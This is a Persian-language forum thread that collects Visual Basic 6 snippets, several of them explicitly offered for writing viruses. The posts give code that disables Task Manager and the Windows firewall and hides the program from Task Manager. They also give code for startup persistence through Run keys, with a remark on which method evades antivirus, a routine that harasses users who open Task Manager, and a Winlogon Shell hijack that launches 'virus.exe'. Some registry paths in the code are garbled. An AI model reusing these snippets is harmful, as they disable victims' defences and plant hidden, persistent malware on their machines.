مجموعه ای از بهترین کد های بدرد بخور ویژوال بیسیک

بازدید72.1kپست ها6آخرین فعالیت11 سال پیش
0
0

[align=center]**با سلام امروز می خوام مجموعه ای از کد های بد خور رو بزارم که تو وب زیاد هستند ولی همشون یک جا نیستن
**[/align]

امیدورام خوشتون بیاد:iran flag:

  1. گذشتن از روی خطا که خیلی راحت است
On Error Resume Next

توضیح : این کد باعث می شه اگه در اجرای برنامه با مشکل برخورد برنامه متوفق نشه و به دستور بعدی بره (برای تازه کار ها)

2.غیر فعال کردن تسک منیجر ویندوز xp (بیشتر برای ویروس نویسی)

Shell "REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f", vbNormalFocus

اگر در این کد 1 را به 0 تغییر بدید تسک منیجر فعال می شه

بقیه کد ها رو در پست های بعدی

آخرین ویرایش: 04-07-2012 ???? 14:49، توسط hamedre81
0

3.گذاشتن شرط برای وجود یک فایل و تشخیص درایو ویندوز

a = Environ("windir")
If Dir(a & "\explorer.EXE") = vbNullString Then
 MsgBox "not found"
Else
 MsgBox "Found"
End If

توضیح"
a = Environ("windir") برای تشخیص درایو ویندوز گذاشتن این کد مقدار c:\windows را بر می گرداند در صورتی که ویندوز شما در درایو c نضب شده باشد

شرط وجود یک فایل هم که معلوم هست

4.غیر فعال کردن فایروال ویندوز xp

Shell "netsh firewall set opmode disable", vbHide

برای فعال کردن از کد زیر استفاده می کنن

netsh firewall set opmode enable

بقیه کد ها در پست بعدی

آخرین ویرایش: 04-07-2012 ???? 09:50، توسط hamedre81
0
  1. بستن برنامه ای درحال اجرا
Shell "taskkill /f /im " & "expl.exe", vbHide

6.پنهان کردن فرم از دید کاربر و تسک منیجر

me.hide
App.TaskVisible = False

بقیه کد ها در پست بعدی

آخرین ویرایش: 04-07-2012 ???? 09:52، توسط hamedre81
0

7.قرار دادن برنامه در استارت آپ

من ایجا 2 روش رو می گم :

کد زیر را در ماژول بگذارید

Public Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal _
   hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long

Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Public Declare Function RegSetValueEx Lib "advapi32.dll" _
   Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _
   As String, ByVal Reserved As Long, ByVal dwType As Long, _
   lpData As Any, ByVal cbData As Long) As Long

Public Const HKEY_CURRENT_USER = &H80000001
Public Const KEY_WRITE = &H20006
Public Const REG_SZ = 1

بعد کد زیر در فرم بزارید

Dim hregkey As Long
   Dim subkey As String
   Dim stringbuffer As String

   subkey = "Software\Microsoft\Windows\CurrentVersion\Run"

   retval = RegOpenKeyEx(HKEY_CURRENT_USER, subkey, 0, KEY_WRITE, hregkey)
   If retval <> 0 Then
      Debug.Print "Can't open the subkey"
      Exit Sub
   End If
   stringbuffer = App.Path & "\" & App.EXEName & ".exe" & vbNullChar
   retval = RegSetValueEx(hregkey, "My App", 0, REG_SZ, ByVal stringbuffer, Len(stringbuffer))

   RegCloseKey hregkey

در بیشتر آنتی ویروس ها این کد رو به عنوان ویروس تشخیص می ده

اما روش دوم

کد برای انداختن برنامه از آدرسی دیگر

Set reg = CreateObject("wscript.shell")
reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & "a", "H:\book1.exe"
Set reg = Nothing

بجای H:\book1.exe باید آدرس برنامه تون رو بدید
این کد هم توسط ویروس یاب تشخیص داده نمی شه

  1. کد ترساندن و اعصاب خود کن
    این کد طوری هست که اگر کاربر تسک منیجر ویندوز رو باز کنه صدای بیب داخل کیس شروع به زدن می کنه و کابر رو می ترسونه

اسن کد رو در ماژول کپی کنید

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function SetForegroundWindow Lib "user32" (ByVal hWnd As Long) As Long
Private Declare Function Beep Lib "kernel32" (ByVal dwFreq As Long, ByVal dwDuration As Long) As Long

اول یک تایمر درست کنید و مقدار linterval رو برابر با 1 قرار دهید . کد زیر را درونش بزارید

handel = FindWindow(vbNullString, "Windows Task Manager")
If handel <> 0 Then
Beep 135, 3304
SetForegroundWindow handel
SendKeys "%{f4}", 1
End If
آخرین ویرایش: 04-07-2012 ???? 14:57، توسط hamedre81
0

9.Disconnect کردن

کد زیر در یک ماژول قرار دهید

Public Const RAS_MAXENTRYNAME As Integer = 256
Public Const RAS_MAXDEVICETYPE As Integer = 16
Public Const RAS_MAXDEVICENAME As Integer = 128
Public Const RAS_RASCONNSIZE As Integer = 412

Public Type RasEntryName
  dwSize As Long
  szEntryName(RAS_MAXENTRYNAME) As Byte
End Type

Public Type RasConn
  dwSize As Long
  hRasConn As Long
  szEntryName(RAS_MAXENTRYNAME) As Byte
  szDeviceType(RAS_MAXDEVICETYPE) As Byte
  szDeviceName(RAS_MAXDEVICENAME) As Byte
End Type

Public Declare Function RasEnumConnections Lib _
"rasapi32.dll" Alias "RasEnumConnectionsA" (lpRasConn As _
Any, lpcb As Long, lpcConnections As Long) As Long

Public Declare Function RasHangUp Lib "rasapi32.dll" Alias _
"RasHangUpA" (ByVal hRasConn As Long) As Long

Public gstrISPName As String
Public ReturnCode As Long

Public Sub HangUp()
Dim i As Long
Dim lpRasConn(255) As RasConn
Dim lpcb As Long
Dim lpcConnections As Long
Dim hRasConn As Long
lpRasConn(0).dwSize = RAS_RASCONNSIZE
lpcb = RAS_MAXENTRYNAME * lpRasConn(0).dwSize
lpcConnections = 0
ReturnCode = RasEnumConnections(lpRasConn(0), lpcb, _
lpcConnections)

If ReturnCode = ERROR_SUCCESS Then
  For i = 0 To lpcConnections - 1
  If Trim(ByteToString(lpRasConn(i).szEntryName)) _
  = Trim(gstrISPName) Then
    hRasConn = lpRasConn(i).hRasConn
    ReturnCode = RasHangUp(ByVal hRasConn)
  End If
  Next i
End If

End Sub

Public Function ByteToString(bytString() As Byte) As String
Dim i As Integer
ByteToString = ""
i = 0
While bytString(i) = 0&
ByteToString = ByteToString & Chr(bytString(i))
i = i + 1
Wend
End Function

سپس کد زیر رو در یک دکمه قرار دهید

HangUp

10.اجرا برنامه در سیف مد ( مخصصوص کسانی که قصد درست کردن ویروس دران)

مثلا ویروسی می نویسید که در درایو c کپی بشه ، بعد باید به ویروس خود دستورات زیر را اضافه کنید :

Set fso = CreateObject("scripting.filesystemobject")
file = App.Path & "\" & App.EXEName & ".exe"
FileCopy file, "c:start up.exe"
file2 = "c:start up.exe"
Set Reg = CreateObject("wscript.shell")
Reg.regwrite "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonShell","Explorer.exe c:virus.exe"

تذکر خیلی مهم:فاصله ی بین explorer.exe و c:\virus.exe باید حتما وجود داشته باشه !

0

11.میانبر درست کردن از برنامه مورد نظر

Private Sub Form_Load()
   Create_ShortCut "آدرس برنامه", "محل ذخیره میانبر", "اسم میانبر", , 7, 1
End Sub
Sub Create_ShortCut(ByVal TargetPath As String, ByVal ShortCutPath As String, ByVal ShortCutname As String, Optional ByVal WorkPath As String, Optional ByVal Window_Style As Integer, Optional ByVal IconNum As Integer)
    Dim VbsObj As Object
Set VbsObj = CreateObject("WScript.Shell")
    Dim MyShortcut As Object
    Set MyShortcut = VbsObj.CreateShortcut(ShortCutPath & "\" & ShortCutname & ".lnk") '"
    MyShortcut.TargetPath = TargetPath
    MyShortcut.WorkingDirectory = WorkPath
    MyShortcut.WindowStyle = Window_Style
    MyShortcut.IconLocation = TargetPath & "," & IconNum
    MyShortcut.Save
End Sub

12.حذف پوشه

کد زیر رو در قسمت جنرال کپی کنید

Public Sub DelAll(ByVal DirtoDelete As Variant)

    Dim FSO, FS
    Set FSO = CreateObject("Scripting.FileSystemObject")
    FS = FSO.DeleteFolder(DirtoDelete, True)


End Sub

بعد کد زیر رو در هر جای که خواستید بزارید(دکمه ,قرم)

Call DelAll("G:\New Folder")
0
  1. باز و بستن درب CD ROM

اگر ميخواهيد توسط برنامه خود درب CD ROM را باز و بسته كنيد كافيست ابتدا كد زير را در يك ماژول كپي كنيد.

Public Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long

حالا كد زير را در پنجره فرم كپي كنيد.دو دكمه فرمان هم لازم است.

Private Sub CMDOPEN_Click ()
mciSendString "Set CDAudio Door Open Wait", 0&, 0&, 0 &
End Sub

Private Sub CMDCLOSE_Click ()
mciSendString "Set CDAudio Door Closed Wait", 0&, 0&, 0 &
End Sub

سوال برنامه نویسی دارید؟

ندونستن عیب نیست، نپرسیدن چرا!

خوش آمدید

برای طرح سوال، ایجاد بحث و فعالیت در سایت نیاز است ابتدا وارد حساب کاربری خود شوید. در صورتی که هنوز عضو سایت نیستید میتوانید در عرض تنها چند ثانیه ثبت نام کنید.